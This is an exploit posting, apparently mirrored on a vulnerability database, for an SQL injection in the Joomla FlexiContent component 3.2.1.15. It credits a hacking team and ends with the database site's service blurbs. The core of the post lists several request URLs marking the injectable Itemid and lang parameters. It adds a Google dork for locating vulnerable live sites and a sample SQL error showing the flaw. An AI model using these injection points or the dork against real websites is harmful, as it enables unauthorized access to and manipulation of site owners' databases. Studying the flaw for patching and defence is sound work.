`############################################################################
# Exploit Title : Joomla FlexiContent Components 3.2.1.15 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 25/02/2019
# Vendor Homepage : flexicontent.org
# Software Download Link : github.com/FLEXIcontent/flexicontent-cck/archive/v3.2.1.15.zip
# Software Information Link : extensions.joomla.org/extension/flexicontent/
# Software Version : 1.5 and v3.2.1.15 and other previous versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_flexicontent''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
############################################################################
# Description about Software :
***************************
FLEXIcontent is an advanced content management system developed to
greatly enhance the native content managenent of Joomla!
############################################################################
# Impact :
***********
Joomla FlexiContent Components 3.2.1.15 [ and other versions ] component for Joomla is prone to an SQL-injection
vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit l
atent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request t
o the vulnerable application and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
############################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_flexicontent&Itemid=[SQL Injection]&lang=en
/index.php?option=com_flexicontent&view=flexicontent&lang=[SQL Injection]
/index.php?option=com_flexicontent&view=items&cid=[ID-NUMBER]&id=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_flexicontent&view=items&cid=[ID-NUMBER]:[FOLDER-NAME]&id=[ID-NUMBER]:[TOPIC-NAME]-&Itemid=[SQL Injection]
/index.php?view=items&cid=[ID-NUMBER]%3A[FOLDER-NAME]&id=[ID-NUMBER]%3[TOPIC-NAME]&format=pdf&option=com_flexicontent&Itemid=[SQL Injection]
/index.php?view=items&cid=[ID-NUMBER]%3A[YEAR]-[MONTH]-[DAY]-[ID-NUMBER]-[ID-NUMBER]-[ID-NUMBER]&id=[ID-NUMBER]%3A[YEAR]-[MONTH]-[DAY]-[ID-NUMBER]-[ID-NUMBER]-[ID-NUMBER]&format=pdf&option=com_flexicontent&Itemid=[SQL Injection]
############################################################################
# Example SQL Database Error :
*****************************
No valid database connection You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near 'AND
c.access No valid database connection You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version
for the right syntax to use near 'AND c.access
############################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
############################################################################
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation